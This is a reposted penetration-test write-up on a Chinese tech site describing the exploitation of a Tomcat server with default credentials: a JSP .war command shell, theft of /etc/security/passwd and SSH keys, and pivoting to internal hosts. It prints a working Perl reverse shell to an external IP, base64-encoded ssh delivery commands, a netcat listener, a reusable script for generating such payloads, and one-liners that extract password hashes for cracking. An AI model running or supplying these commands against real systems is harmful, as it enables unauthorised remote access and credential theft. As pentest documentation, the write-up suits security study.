未加星标

Pivoting through Tomcat

字体大小 | |
[系统(linux) 所属分类 系统(linux) | 发布者 店小二04 | 时间 2016 | 作者 红领巾 ] 0人收藏点击收藏

On a recent pen-test engagement we had come across a Tomcat server with default creds. Trying to old tried and true methods with Metasploit did not work to get a shell on the box , which was running proprietary IBM_AIX. The exploit would be successful but no connect-back. Because of the limited time instead of trying to test for egress (and later finding out theres no payloads for metasploit), we tried another method of uploading a JSP .war file to the box that once deployed, enabled us to browse and run commands. Attached is the .war file used during testing::HERE::


Pivoting through Tomcat

Because we were root we were able to dump the contents /etc/security/passwd.


Pivoting through Tomcat

Further browsing showed SSH keys stored in the user folders. Along with the known_hosts file we were able to see some of the internal machines we could pivot from. These internal machines had unblocked outbound access and we tried to send a perl shell back to our attacker box outside the network. The limited .war cmd shell was chopping up our perl command parameters so we had the idea to base64 encode the perl shell then run it as a command once we connect to the internal box with ssh.

So first we piped the code through openssl to encode it, and used sed clean it up

echo perl -e 'use Socket;$i="50.89.231.99";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};' | openssl base64 -e | sed ':a;N;$!ba;s/\n//g'

and got an output string similar to

cGVybCAtZSB1c2UgU29ja2V0OyRpPSjk5IjskcD04MDgwO3NvY2tldChTLFBGX0lORVQsU09DS19TVFJFQU0sZ2V0cHJvdG9ieW5hbWUoInRjcCIpKTtpZihjb25uZWN0KFMsc29ja2FkZHJfaW4oJHAsaW5ldF9hdG9uKCRpKSkpKXtvcGVuKFNURElOLCI+JlMiKTtvcGVuKFNURE9VVCwiPiZ2V4ZWMoIi9iaW4vYmFzaCAtaSIpO307Cg==

then pasted that into our command that we sent to our .war cmd prompt

ssh -i /s00peradmin/.ssh/id_dsa -o PasswordAuthentication=no -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no [email protected] "echo "cGVybCAtZSB1c2UgU29ja2V0OyRpPSjk5IjskcD04MDgwO3NvY2tldChTLFBGX0lORVQsU09DS19TVFJFQU0sZ2V0cHJvdG9ieW5hbWUoInRjcCIpKTtpZihjb25uZWN0KFMsc29ja2FkZHJfaW4oJHAsaW5ldF9hdG9uKCRpKSkpKXtvcGVuKFNURElOLCI+JlMiKTtvcGVuKFNURE9VVCwiPiZ2V4ZWMoIi9iaW4vYmFzaCAtaSIpO307Cg==" | openssl base64 -d -A | /bin/bash"
Pivoting through Tomcat

Before we executing, we made sure netcat was running on our jumpbox

nc -lvp 8080

and then executed the command in the warfile we were able to shovel a perl shell back as that ssh user from the internal box. From there it was pretty much game over that i can’t discuss further.

My teammate created a simple bash script to make the base64 encoding easier for next time:

pastashell="cGVybCAtZSAndXNlIFNvY2tldDskaT0iSVBfQUREUkVTUyI7JHA9IlBPUlQiO3NvY2tldChTLFBGX0lORVQsU09DS19TVFJFQU0sZ2V0cHJvdG9ieW5hbWUoInRjcCIpKTtpZihjb25uZWN0KFMsc29ja2FkZHJfaW4oJHAsaW5ldF9hdG9uKCRpKSkpKXtvcGVuKFNURElOLCI+JlMiKTtvcGVuKFNURE9VVCwiPiZTIik7b3BlbihTVERFUlIsIj4mUyIpO2V4ZWMoIi9iaW4vYmFzaCAtaSIpO307Jwo="
var=$(echo $pastashell | openssl base64 -d -A |sed s/IP_ADDRESS/$1/g | sed s/PORT/$2/g |openssl base64 -e | sed ':a;N;$!ba;s/\n//g')
echo "ssh -i "$3" -o PasswordAuthentication=no -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no" $4 "\"echo \""$var"\" | openssl base64 -d -A | /bin/bash\""

save above code as makinPasta.sh chmod +x then run it with the parameters

makinPasta.sh <RHOST> <RPORT> <SSH_Key_Path> <[email protected]>

ex:

makinPasta.sh 50.89.231.99 8080 /s00peradmin/.ssh/id_dsa [email protected]

also here’s some ways to parse the passwd file for cracking

cat passwd | egrep ":|password" | sed 's/password = //g' | tr -d "\t " |sed ':a;N;$!ba;s/:\n/:/g'|grep -v :password= | sed '/\*/d'

or

cat passwd|egrep ":|password" | sed 's/password = //g' | tr -d "\t " |sed ':a;N;$!ba;s/:\n/:/g'

just hashes (remove * and password=)

cat passwd|egrep ":|password" | sed 's/password = //g' | tr -d "\t " |sed ':a;N;$!ba;s/:\n/:/g' | awk -F':' '{print $2}' |grep -v password= | sed '/\*/d'

Categorized as: InfoSec |Privilege Escalation |Unix

本文系统(linux)相关术语:linux系统 鸟哥的linux私房菜 linux命令大全 linux操作系统

主题: TomcatJSPUTFUIBMTI
分页:12
转载请注明
本文标题:Pivoting through Tomcat
本站链接:http://www.codesec.net/view/482256.html
分享请点击:


1.凡CodeSecTeam转载的文章,均出自其它媒体或其他官网介绍,目的在于传递更多的信息,并不代表本站赞同其观点和其真实性负责;
2.转载的文章仅代表原创作者观点,与本站无关。其原创性以及文中陈述文字和内容未经本站证实,本站对该文以及其中全部或者部分内容、文字的真实性、完整性、及时性,不作出任何保证或承若;
3.如本站转载稿涉及版权等问题,请作者及时联系本站,我们会及时处理。
登录后可拥有收藏文章、关注作者等权限...
技术大类 技术大类 | 系统(linux) | 评论(0) | 阅读(35)